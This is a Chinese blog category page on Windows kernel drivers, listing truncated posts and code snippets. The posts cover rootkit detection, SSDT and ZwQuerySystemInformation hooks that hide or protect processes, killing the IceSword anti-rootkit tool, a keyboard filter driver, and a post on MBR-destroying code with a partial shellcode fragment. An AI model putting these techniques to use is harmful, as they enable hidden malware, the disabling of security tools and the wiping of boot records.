驱动
文章平均质量分 73
郁闷的坦然
这个作者很懒,什么都没留下…
展开
-
RING0级暴力搜索内存检测系统隐藏进程(或ROOTKIT)(实测可运行) .
最近期末答辩不知道写什么好,就写一个安全软件吧。软件使用驱动和C++编写,大概多数安全软件都是这样吧。时间关系,就不说那么多了,直接入正题吧。在此先感谢“伊丽_杀_白”、“堕落天才”、“antirootkit”等提供的优秀文章,我只是在他们基础之上修改了一下。伊丽_杀_白 暴力搜索内存空间检测隐藏进程:http://bbs.xdnice.com/thread-377796-1转载 2013-08-22 08:03:00 · 1938 阅读 · 0 评论 -
根据Handle获取进程名的方法
写ZwTerminateProcess hook的时候hook到ZwTerminateProcess的参数是HANDLE ProcessHandle和NTSTATUS ExitStatus。结构如下:NTSTATUS ZwTerminateProcess( IN HANDLE ProcessHandle, IN NTSTATUS ExitStatus转载 2013-08-13 09:24:57 · 2513 阅读 · 0 评论 -
驱动层和应用层的同步通信
首先是同步问题,通过Ring3创建事件,并将该事件传递给Ring0,同时Ring3创建监控线程,等待Ring0发起事件。 监控到事件(通知)Ring0(监控)----------------------------------------------------------------> Ring3转载 2013-08-13 09:35:19 · 1644 阅读 · 0 评论 -
内核驱动程序中获取当前用户进程的进程名的方法
驱动程序的加载函数DriverEntry是运行在System进程中的.通过PsGetCurrentProcess可以获取System进程的内核EPROCESS结构的地址,然后从该地址开始寻找"System"字符串.找到后,便是EPROCESS的进程名存放的偏移处.得到进程名在EPROCESS结构的偏移后,以后的进程调用驱动的时候,就可以直接在该偏移处获取当前进程名.代码如下:DWORD Get转载 2013-08-13 09:29:10 · 3300 阅读 · 0 评论 -
在Ring0下HOOK Ntdll.dll的Nt*函数的方法
typedef struct _SECTION_IMAGE_INFORMATION {PVOID EntryPoint; ULONG StackZeroBits; ULONG StackReserved; ULONG StackCommit; ULONG ImageSubsystem; WORD SubsystemVersionLow; WORD SubsystemVe转载 2013-08-13 09:39:16 · 2937 阅读 · 0 评论 -
WaitForSingleObject、WaitForMultipleObjects、CreateThread .
// 参数1:LPSECURITY_ATTRIBUTES pEventAttributes 安区参数 一般用户不用考虑它,传入NULL。 // 参数2:表示创建的事件是否是手动模式。 // 如果是TRUE,则是手动模式的事件,事件处于激发状态后,需要手动设置才能回到未激发状态。 // 如果是FALSE,则是自动模式,当事件处于激发状态后,遇到任意一个等待(如:WaitForSingleObject转载 2013-08-13 15:12:07 · 972 阅读 · 0 评论 -
中断请求(IRQ)中断控制器(PIC) .
///////////////////////////////////////////////////////////////////////////////中断请求(IRQ)中断控制器(PIC)PIC的中断向量IRQ编号 设备名称 用途IRQ0 Tine 计算机系统计时器IRQ1转载 2013-08-13 15:27:05 · 2267 阅读 · 0 评论 -
互锁函数
///////////////////////////////////////////////////////////////////////////////互锁函数ExInterlockedXX系列函数通过自旋锁实现 不可以操作分页数据ExInterlockedXX互锁操作函数内核函数 功能ExInterlock转载 2013-08-13 15:27:50 · 1102 阅读 · 0 评论 -
通过进程ID得到进程名
在内核中,通过进程ID,得到进程名称,有多种方法。我使用了两种方法,第一种是使用ZwOpeProcess得到句柄然后ObReferenceObjectByHandle函数得到PEPROCESS结构,然后char *ProcessName = (char*)EProcess + 0x174;第二种方法是得到PEPROCESS结构之后,使用PsGetProcessImageFileNa原创 2013-08-14 11:13:54 · 2542 阅读 · 0 评论 -
IDT检测 多CPU
#define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned short) (b))) VOID ShowIDTinfo( IN struct _KDPC *Dpc,转载 2013-09-06 17:22:50 · 1528 阅读 · 0 评论 -
DRIVER_OBJECT结构
DRIVER_OBJECT STRUCT ; sizeof= 0A8h_Type SWORD ? ; 0000h (IO_TYPE_DRIVER = 4) (original field name Type)_Size SWORD ? ; 0004h (original name Size); The following links all of the devices created原创 2013-09-03 17:01:29 · 791 阅读 · 0 评论 -
内核重载
/*++ BUILD Version: 0004 // Increment this if a change has global effectsCopyright (c) Microsoft Corporation. All rights reserved.You may only use this code if you agree to the terms of the Win原创 2013-09-12 09:00:41 · 2939 阅读 · 0 评论 -
PspTerminateProcess 结束冰刃进程
代码:#include typedef NTSTATUS (*PSPTERPROC) ( PEPROCESS Process, NTSTATUS ExitStatus );PSPTERPROC MyPspTerminateProcess ;NTSTATUSPsLookupProcessByProcessId( IN HAND转载 2013-08-14 11:17:34 · 1359 阅读 · 0 评论 -
MmGetSystemRoutineAddress函数获取内存地址
#include "ntddk.h"ULONG GetCidAddr(){ PUCHAR addr; PUCHAR p; UNICODE_STRING pslookup; ULONG cid; RtlInitUnicodeString (&pslookup, L"PsLookupProcessByProcessId"); //RtlInitU原创 2013-08-24 12:54:47 · 2271 阅读 · 0 评论 -
设备对象(DEVICE_OBJECT)-----------------主要成员 .
一、设备对象(DEVICE_OBJECT)kd> dt _device_objectntdll!_DEVICE_OBJECT +0x000 Type : Int2B +0x002 Size : Uint2B +0x004 ReferenceCount : Int4B +0x008 DriverObject转载 2013-08-22 08:12:37 · 758 阅读 · 0 评论 -
Hook SSDT NtOpenProcess的完整代码
驱动#include "ntddk.h"#define NT_DEVICE_NAME L"\\Device\\ProtectProcess"#define DOS_DEVICE_NAME L"\\DosDevices\\ProtectProcess"#define IOCTL_PROTECT_CONTROL CTL_CODE(FILE_DEVICE_UNKNOWN转载 2013-08-21 20:37:42 · 1491 阅读 · 0 评论 -
键盘过滤驱动源代码
#include "ntddk.h"#include "ntddkbd.h"#include "stdio.h" #define KEY_UP 1#define KEY_DOWN 0 #define LCONTROL ((USHORT)0x1D)#define CAPS_LOCK ((USHORT)0x3A原创 2013-08-22 11:31:57 · 2256 阅读 · 0 评论 -
ring0级暴力搜索内存检测系统隐藏进程(或Rootkit)
#include//EPROCESS结构大小,我的系统是XP SP3,所以0x260,不过经过测试,这里设置成比实际EPROCESS小也是没问题的#define EPROCESS_SIZE 0x260 #define PEB_OFFSET 0x1B0 //PEB偏移,下面就不注释了#define FILE_NAME_OFFS转载 2013-08-10 14:00:15 · 1084 阅读 · 0 评论 -
ring3读取MBR
DWORD dwBytesReturned = 0; BYTE bytBuffer_1[512]; BYTE bytBuffer_2[512]; CHAR string[2048]; HANDLE hDevice, hDriver; BOOL bRet; hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ,转载 2013-08-10 14:01:13 · 1090 阅读 · 0 评论 -
ZwQuerySystemInformation 查看系统进程信息
#include typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation, SystemTimeOfDayInformation, SystemPathInformation, S转载 2013-08-10 14:02:29 · 1588 阅读 · 0 评论 -
hook zwQuerySysteminformation 隐藏进程
#include //#include typedef unsigned long DWORD;#pragma pack(1)typedef struct ServiceDescriptorEntry{ unsigned int *ServiceTableBase; unsigned int *ServiceCountTableBase; unsigned in转载 2013-08-10 14:03:29 · 1814 阅读 · 0 评论 -
API内存搜索引擎(C语言内嵌汇编) .
// apisearchEngine.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include DWORD __stdcall GetStrLengthA(char* szName){ _asm { push edi push eb转载 2013-08-10 14:05:19 · 1068 阅读 · 0 评论 -
ring3与ring0的通信
#include #define DEVICE_NAME L"\\Device\\KillHDDGMon"#define LINK_NAME L"\\DosDevices\\KillHDDGMon"#define IOCTL_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800,METHOD_BUFFERED, FILE_ANY_ACCESS)#def转载 2013-08-10 13:40:11 · 719 阅读 · 0 评论 -
得到操作系统版本号
//**************************************************************************//*//* //* //*文件说明://* 获取系统内核版本//*******************************************************转载 2013-08-10 13:51:03 · 827 阅读 · 0 评论 -
破坏MBR的代码
破坏MBR的代码,只有破坏作用,使系统无法进入。。。来源于网上。。#include #include //shellcode随便写了点 能破坏MBR,无法进入系统unsigned char scode[]= "\xb8\x12\x00" "\xcd\x10\xbd" "\x18\x7c\xb9";DWORD writeMBR(){ DWORD d转载 2013-08-10 13:54:17 · 2296 阅读 · 0 评论 -
直接写IO端口0x64完成计算机重启操作实现暴力关机
#includeVOID DriverUnload(IN PDRIVER_OBJECT DriverObject){ KdPrint(("Driver Unload is Run!\n"));}NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath){转载 2013-08-22 08:00:35 · 3671 阅读 · 0 评论